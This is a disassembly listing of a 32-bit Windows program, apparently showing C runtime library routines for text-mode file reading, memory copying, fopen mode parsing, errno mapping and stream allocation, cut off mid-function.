var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_8], 0
		cmp	[ebp+arg_8], 0
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edx, ebx
		jz	loc_41B3DD
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	esi, [eax+eax*8]
		lea	edi, ds:4815E0h[ecx*4]
		mov	eax, [edi]
		shl	esi, 2
		add	eax, esi
		mov	cl, [eax+4]
		test	cl, 2
		jnz	loc_41B3DD
		test	cl, 48h
		jz	short loc_41B27D
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41B27D
		dec	[ebp+arg_8]
		mov	[ebx], al
		mov	eax, [edi]
		lea	edx, [ebx+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41B27D:				; CODE XREF: sub_41B217+47j
					; sub_41B217+4Ej
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [edi]
		push	edx
		push	dword ptr [eax+esi]
		call	dword_42208C	; ReadFile
		test	eax, eax
		jnz	short loc_41B2CF
		call	dword_422004	; RtlGetLastWin32Error
		push	5
		pop	esi
		cmp	eax, esi
		jnz	short loc_41B2B7
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		mov	[eax], esi
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2B7:				; CODE XREF: sub_41B217+8Aj
		cmp	eax, 6Dh
		jz	loc_41B3DD
		push	eax
		call	sub_41B947
		pop	ecx


loc_41B2C7:				; CODE XREF: sub_41B217+9Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B2CF:				; CODE XREF: sub_41B217+7Dj
		mov	eax, [edi]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [ecx]
		test	al, al
		jns	loc_41B3D8
		test	edx, edx
		jz	short loc_41B2F2
		cmp	byte ptr [ebx],	0Ah
		jnz	short loc_41B2F2
		or	al, 4
		jmp	short loc_41B2F4
; ---------------------------------------------------------------------------


loc_41B2F2:				; CODE XREF: sub_41B217+D0j
					; sub_41B217+D5j
		and	al, 0FBh


loc_41B2F4:				; CODE XREF: sub_41B217+D9j
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+arg_8], eax
		mov	[ebp+var_8], ecx
		jnb	loc_41B3D2


loc_41B30C:				; CODE XREF: sub_41B217+1A3j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41B3C2
		cmp	al, 0Dh
		jz	short loc_41B328
		mov	[ebx], al
		inc	ebx
		inc	[ebp+arg_8]
		jmp	loc_41B3B4
; ---------------------------------------------------------------------------


loc_41B328:				; CODE XREF: sub_41B217+104j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41B342
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41B33D
		add	[ebp+arg_8], 2
		jmp	short loc_41B396
; ---------------------------------------------------------------------------


loc_41B33D:				; CODE XREF: sub_41B217+11Ej
		mov	[ebp+arg_8], eax
		jmp	short loc_41B3B0
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B217+115j
		inc	[ebp+arg_8]
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		mov	eax, [edi]
		push	dword ptr [eax+esi]
		call	dword_42208C	; ReadFile
		test	eax, eax
		jnz	short loc_41B36A
		call	dword_422004	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41B3B0


loc_41B36A:				; CODE XREF: sub_41B217+147j
		cmp	[ebp+var_C], 0
		jz	short loc_41B3B0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41B38B
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41B396
		mov	byte ptr [ebx],	0Dh
		mov	ecx, [edi]
		mov	[ecx+esi+5], al
		jmp	short loc_41B3B3
; ---------------------------------------------------------------------------


loc_41B38B:				; CODE XREF: sub_41B217+160j
		cmp	ebx, [ebp+arg_4]
		jnz	short loc_41B39B
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41B39B


loc_41B396:				; CODE XREF: sub_41B217+124j
					; sub_41B217+167j
		mov	byte ptr [ebx],	0Ah
		jmp	short loc_41B3B3
; ---------------------------------------------------------------------------


loc_41B39B:				; CODE XREF: sub_41B217+177j
					; sub_41B217+17Dj
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41D676
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41B3B4


loc_41B3B0:				; CODE XREF: sub_41B217+129j
					; sub_41B217+151j ...
		mov	byte ptr [ebx],	0Dh


loc_41B3B3:				; CODE XREF: sub_41B217+172j
					; sub_41B217+182j
		inc	ebx


loc_41B3B4:				; CODE XREF: sub_41B217+10Cj
					; sub_41B217+197j
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41B30C
		jmp	short loc_41B3D2
; ---------------------------------------------------------------------------


loc_41B3C2:				; CODE XREF: sub_41B217+FCj
		mov	eax, [edi]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41B3D2
		or	al, 2
		mov	[esi], al


loc_41B3D2:				; CODE XREF: sub_41B217+EFj
					; sub_41B217+1A9j ...
		sub	ebx, [ebp+arg_4]
		mov	[ebp+var_8], ebx


loc_41B3D8:				; CODE XREF: sub_41B217+C8j
		mov	eax, [ebp+var_8]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3DD:				; CODE XREF: sub_41B217+16j
					; sub_41B217+3Ej ...
		xor	eax, eax


loc_41B3DF:				; CODE XREF: sub_41B217+B3j
					; sub_41B217+1C4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3E4	proc near		; CODE XREF: sub_416E5E+91p
					; sub_41B136+4Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0041B473 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_42C0E0
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_4815D0
		jnb	short loc_41B473
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:4815E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41B473
		push	ebx
		call	sub_41F54C
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41B443
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_41B217
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_41B45A
; ---------------------------------------------------------------------------


loc_41B443:				; CODE XREF: sub_41B3E4+49j
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41B45A:				; CODE XREF: sub_41B3E4+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41B46B
		mov	eax, [ebp+var_1C]
		jmp	short loc_41B489
sub_41B3E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B468	proc near		; DATA XREF: .text:stru_42C0E0o
		mov	ebx, [ebp+8]
sub_41B468	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B46B	proc near		; CODE XREF: sub_41B3E4+7Ap
		push	ebx
		call	sub_41F5BF
		pop	ecx
		retn
sub_41B46B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B3E4


loc_41B473:				; CODE XREF: sub_41B3E4+15j
					; sub_41B3E4+35j
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41B489:				; CODE XREF: sub_41B3E4+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41B3E4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B490	proc near		; CODE XREF: sub_416E5E+5Fp
					; sub_416F93+A8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41B4B0
		cmp	edi, eax
		jb	loc_41B62C


loc_41B4B0:				; CODE XREF: sub_41B490+16j
		test	edi, 3
		jnz	short loc_41B4CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41B4EC
		rep movsd
		jmp	off_41B5DC[edx*4]
; ---------------------------------------------------------------------------


loc_41B4CC:				; CODE XREF: sub_41B490+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41B4E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41B4EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41B4E4:				; CODE XREF: sub_41B490+46j
		jmp	dword ptr loc_41B5EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41B4EC:				; CODE XREF: sub_41B490+31j
					; sub_41B490+8Ej ...
		jmp	off_41B570[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41B500
		dd offset loc_41B52C
		dd offset loc_41B550
; ---------------------------------------------------------------------------


loc_41B500:				; DATA XREF: sub_41B490+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41B4EC
		rep movsd
		jmp	off_41B5DC[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41B52C:				; DATA XREF: sub_41B490+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41B4EC
		rep movsd
		jmp	off_41B5DC[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41B550:				; DATA XREF: sub_41B490+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_41B4EC
		rep movsd
		jmp	off_41B5DC[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41B570	dd offset loc_41B5D3	; DATA XREF: sub_41B490:loc_41B4ECr
		dd offset loc_41B5C0
		dd offset loc_41B5B8
		dd offset loc_41B5B0
		dd offset loc_41B5A8
		dd offset loc_41B5A0
		dd offset loc_41B598
		dd offset loc_41B590
; ---------------------------------------------------------------------------


loc_41B590:				; CODE XREF: sub_41B490:loc_41B4ECj
					; DATA XREF: sub_41B490+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41B598:				; CODE XREF: sub_41B490:loc_41B4ECj
					; DATA XREF: sub_41B490+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41B5A0:				; CODE XREF: sub_41B490:loc_41B4ECj
					; DATA XREF: sub_41B490+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41B5A8:				; CODE XREF: sub_41B490:loc_41B4ECj
					; DATA XREF: sub_41B490+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41B5B0:				; CODE XREF: sub_41B490:loc_41B4ECj
					; DATA XREF: sub_41B490+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41B5B8:				; CODE XREF: sub_41B490:loc_41B4ECj
					; DATA XREF: sub_41B490+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41B5C0:				; CODE XREF: sub_41B490:loc_41B4ECj
					; DATA XREF: sub_41B490+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41B5D3:				; CODE XREF: sub_41B490:loc_41B4ECj
					; DATA XREF: sub_41B490:off_41B570o
		jmp	off_41B5DC[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41B5DC	dd offset loc_41B5EC	; DATA XREF: sub_41B490+35r
					; sub_41B490+92r ...
		dd offset loc_41B5F4
		dd offset loc_41B600
		dd offset loc_41B614
; ---------------------------------------------------------------------------


loc_41B5EC:				; CODE XREF: sub_41B490+35j
					; sub_41B490+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41B5F4:				; CODE XREF: sub_41B490+35j
					; sub_41B490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41B600:				; CODE XREF: sub_41B490+35j
					; sub_41B490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41B614:				; CODE XREF: sub_41B490+35j
					; sub_41B490+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41B62C:				; CODE XREF: sub_41B490+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41B660
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41B654
		std
		rep movsd
		cld
		jmp	off_41B778[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41B654:				; CODE XREF: sub_41B490+1B5j
					; sub_41B490+210j ...
		neg	ecx
		jmp	off_41B728[ecx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41B660:				; CODE XREF: sub_41B490+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41B678
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41B678+4[eax*4]
; ---------------------------------------------------------------------------


loc_41B678:				; CODE XREF: sub_41B490+1DAj
					; DATA XREF: sub_41B490+1E1r
		jmp	off_41B778[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_41B68B+1
; ---------------------------------------------------------------------------
		mov	al, 0B6h
		inc	ecx
		add	al, bl
		mov	dh, 41h


loc_41B68B:				; DATA XREF: sub_41B490+1F0o
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_41B654
		std
		rep movsd
		cld
		jmp	off_41B778[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41B654
		std
		rep movsd
		cld
		jmp	off_41B778[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41B654
		std
		rep movsd
		cld
		jmp	off_41B778[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41B72C
		dd offset loc_41B734
		dd offset loc_41B73C
		dd offset loc_41B744
		dd offset loc_41B74C
		dd offset loc_41B754
		dd offset loc_41B75C
off_41B728	dd offset loc_41B76F	; DATA XREF: sub_41B490+1C6r
; ---------------------------------------------------------------------------


loc_41B72C:				; DATA XREF: sub_41B490+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41B734:				; DATA XREF: sub_41B490+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41B73C:				; DATA XREF: sub_41B490+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41B744:				; DATA XREF: sub_41B490+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41B74C:				; DATA XREF: sub_41B490+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41B754:				; DATA XREF: sub_41B490+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41B75C:				; DATA XREF: sub_41B490+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41B76F:				; CODE XREF: sub_41B490+1C6j
					; DATA XREF: sub_41B490:off_41B728o
		jmp	off_41B778[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41B778	dd offset loc_41B788	; DATA XREF: sub_41B490+1BBr
					; sub_41B490:loc_41B678r ...
		dd offset loc_41B790
		dd offset loc_41B7A0
		dd offset loc_41B7B4
; ---------------------------------------------------------------------------


loc_41B788:				; CODE XREF: sub_41B490+1BBj
					; sub_41B490:loc_41B678j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41B790:				; CODE XREF: sub_41B490+1BBj
					; sub_41B490:loc_41B678j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41B7A0:				; CODE XREF: sub_41B490+1BBj
					; sub_41B490:loc_41B678j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41B7B4:				; CODE XREF: sub_41B490+1BBj
					; sub_41B490:loc_41B678j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41B490	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7CD	proc near		; CODE XREF: sub_417140+35p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4814B8
		push	edi
		mov	edi, [ebp+arg_4]
		mov	al, [edi]
		xor	ebx, ebx
		cmp	al, 61h
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		jz	short loc_41B806
		cmp	al, 72h
		jz	short loc_41B7FF
		cmp	al, 77h
		jnz	loc_41B912
		mov	ecx, 301h
		jmp	short loc_41B80B
; ---------------------------------------------------------------------------


loc_41B7FF:				; CODE XREF: sub_41B7CD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41B80E
; ---------------------------------------------------------------------------


loc_41B806:				; CODE XREF: sub_41B7CD+1Dj
		mov	ecx, 109h


loc_41B80B:				; CODE XREF: sub_41B7CD+30j
		or	esi, 2


loc_41B80E:				; CODE XREF: sub_41B7CD+37j
		xor	edx, edx
		inc	edx
		jmp	loc_41B8ED
; ---------------------------------------------------------------------------


loc_41B816:				; CODE XREF: sub_41B7CD+125j
		cmp	edx, ebx
		jz	loc_41B8F8
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41B897
		jz	short loc_41B88A
		sub	eax, 2Bh
		jz	short loc_41B874
		sub	eax, 19h
		jz	short loc_41B86A
		sub	eax, 0Eh
		jz	short loc_41B856
		dec	eax
		jnz	loc_41B8CF
		cmp	[ebp+var_4], ebx
		jnz	loc_41B8CF
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	loc_41B8ED
; ---------------------------------------------------------------------------


loc_41B856:				; CODE XREF: sub_41B7CD+68j
		cmp	[ebp+var_4], ebx
		jnz	short loc_41B8CF
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	loc_41B8ED
; ---------------------------------------------------------------------------


loc_41B86A:				; CODE XREF: sub_41B7CD+63j
		test	cl, 40h
		jnz	short loc_41B8CF
		or	ecx, 40h
		jmp	short loc_41B8ED
; ---------------------------------------------------------------------------


loc_41B874:				; CODE XREF: sub_41B7CD+5Ej
		test	cl, 2
		jnz	short loc_41B8CF
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41B8ED
; ---------------------------------------------------------------------------


loc_41B88A:				; CODE XREF: sub_41B7CD+59j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41B8CF
		or	ecx, eax
		jmp	short loc_41B8ED
; ---------------------------------------------------------------------------


loc_41B897:				; CODE XREF: sub_41B7CD+57j
		sub	eax, 62h
		jz	short loc_41B8E2
		dec	eax
		jz	short loc_41B8CA
		sub	eax, 0Bh
		jz	short loc_41B8B6
		sub	eax, 6
		jnz	short loc_41B8CF
		test	ch, 0C0h
		jnz	short loc_41B8CF
		or	ecx, 4000h
		jmp	short loc_41B8ED
; ---------------------------------------------------------------------------


loc_41B8B6:				; CODE XREF: sub_41B7CD+D5j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41B8CF
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	short loc_41B8ED
; ---------------------------------------------------------------------------


loc_41B8CA:				; CODE XREF: sub_41B7CD+D0j
		cmp	[ebp+var_8], ebx
		jz	short loc_41B8D3


loc_41B8CF:				; CODE XREF: sub_41B7CD+6Bj
					; sub_41B7CD+74j ...
		xor	edx, edx
		jmp	short loc_41B8ED
; ---------------------------------------------------------------------------


loc_41B8D3:				; CODE XREF: sub_41B7CD+100j
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	short loc_41B8ED
; ---------------------------------------------------------------------------


loc_41B8E2:				; CODE XREF: sub_41B7CD+CDj
		test	ch, 0C0h
		jnz	short loc_41B8CF
		or	ecx, 8000h


loc_41B8ED:				; CODE XREF: sub_41B7CD+44j
					; sub_41B7CD+84j ...
		inc	edi
		mov	al, [edi]
		cmp	al, bl
		jnz	loc_41B816


loc_41B8F8:				; CODE XREF: sub_41B7CD+4Bj
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FB6C
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41B916


loc_41B912:				; CODE XREF: sub_41B7CD+25j
		xor	eax, eax
		jmp	short loc_41B930
; ---------------------------------------------------------------------------


loc_41B916:				; CODE XREF: sub_41B7CD+143j
		mov	eax, [ebp+arg_C]
		inc	dword_481318
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41B930:				; CODE XREF: sub_41B7CD+147j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B7CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B935	proc near		; CODE XREF: sub_417140+18p
					; sub_417234+2Bp ...
		call	sub_41915F
		add	eax, 8
		retn
sub_41B935	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B93E	proc near		; CODE XREF: sub_417234+36p
					; sub_41ADA6+8Ap ...
		call	sub_41915F
		add	eax, 0Ch
		retn
sub_41B93E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B947	proc near		; CODE XREF: sub_417234+16p
					; sub_418005+1Dp ...

arg_0		= dword	ptr  4

		push	esi
		call	sub_41915F
		mov	ecx, [esp+4+arg_0]
		mov	[eax+0Ch], ecx
		xor	esi, esi


loc_41B956:				; CODE XREF: sub_41B947+1Cj
		cmp	ecx, dword_4328C0[esi*8]
		jz	short loc_41B97D
		inc	esi
		cmp	esi, 2Dh
		jb	short loc_41B956
		cmp	ecx, 13h
		jb	short loc_41B98E
		cmp	ecx, 24h
		ja	short loc_41B98E
		call	sub_41915F
		mov	dword ptr [eax+8], 0Dh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B97D:				; CODE XREF: sub_41B947+16j
		call	sub_41915F
		mov	ecx, dword_4328C4[esi*8]
		mov	[eax+8], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B98E:				; CODE XREF: sub_41B947+21j
					; sub_41B947+26j
		cmp	ecx, 0BCh
		jb	short loc_41B9AC
		cmp	ecx, 0CAh
		ja	short loc_41B9AC
		call	sub_41915F
		mov	dword ptr [eax+8], 8
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B9AC:				; CODE XREF: sub_41B947+4Dj
					; sub_41B947+55j
		call	sub_41915F
		mov	dword ptr [eax+8], 16h
		pop	esi
		retn
sub_41B947	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9BA	proc near		; CODE XREF: sub_417140+Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_42C0F0
		call	__SEH_prolog
		xor	ebx, ebx
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	1
		call	sub_41A166
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		xor	esi, esi


loc_41B9DA:				; CODE XREF: sub_41B9BA+85j
		mov	[ebp+var_20], esi
		cmp	esi, dword_482940
		jge	loc_41BAA9
		mov	eax, dword_481920
		mov	eax, [eax+esi*4]
		cmp	eax, ebx
		jz	short loc_41BA45
		test	byte ptr [eax+0Ch], 83h
		jnz	short loc_41BA3E
		cmp	esi, 2
		jle	short loc_41BA17
		cmp	esi, 14h
		jge	short loc_41BA17
		lea	eax, [esi+10h]
		push	eax
		call	sub_41A0E7
		pop	ecx
		test	eax, eax
		jz	loc_41BAA9


loc_41BA17:				; CODE XREF: sub_41B9BA+44j
					; sub_41B9BA+49j
		mov	eax, dword_481920
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_41B0C1
		pop	ecx
		pop	ecx
		mov	eax, dword_481920
		mov	eax, [eax+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41BA41
		push	eax
		push	esi
		call	sub_41B113
		pop	ecx
		pop	ecx


loc_41BA3E:				; CODE XREF: sub_41B9BA+3Fj
		inc	esi
		jmp	short loc_41B9DA
; ---------------------------------------------------------------------------


loc_41BA41:				; CODE XREF: sub_41B9BA+79j
		mov	edi, eax
		jmp	short loc_41BAA6
; ---------------------------------------------------------------------------


loc_41BA45:				; CODE XREF: sub_41B9BA+39j
		shl	esi, 2
		push	38h
		call	sub_416DAF
		pop	ecx
		mov	ecx, dword_481920
		mov	[esi+ecx], eax
		mov	eax, dword_481920
		mov	eax, [esi+eax]
		cmp	eax, ebx
		jz	short loc_41BAA9
		push	0FA0h
		add	eax, 20h
		push	eax
		call	sub_41EF60
		pop	ecx
		pop	ecx
		test	eax, eax
		mov	eax, dword_481920
		jnz	short loc_41BA91
		push	dword ptr [esi+eax]
		call	sub_416C97
		pop	ecx
		mov	eax, dword_481920
		mov	[esi+eax], ebx
		jmp	short loc_41BAA9
; ---------------------------------------------------------------------------


loc_41BA91:				; CODE XREF: sub_41B9BA+C2j
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	dword_422018	; RtlEnterCriticalSection
		mov	eax, dword_481920
		mov	edi, [esi+eax]


loc_41BAA6:				; CODE XREF: sub_41B9BA+89j
		mov	[ebp+var_1C], edi


loc_41BAA9:				; CODE XREF: sub_41B9BA+29j
					; sub_41B9BA+57j ...
		cmp	edi, ebx
		jz	short loc_41BABF
		mov	[edi+4], ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx
		or	dword ptr [edi+10h], 0FFFFFFFFh


loc_41BABF:				; CODE XREF: sub_41B9BA+F1j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41BAD3
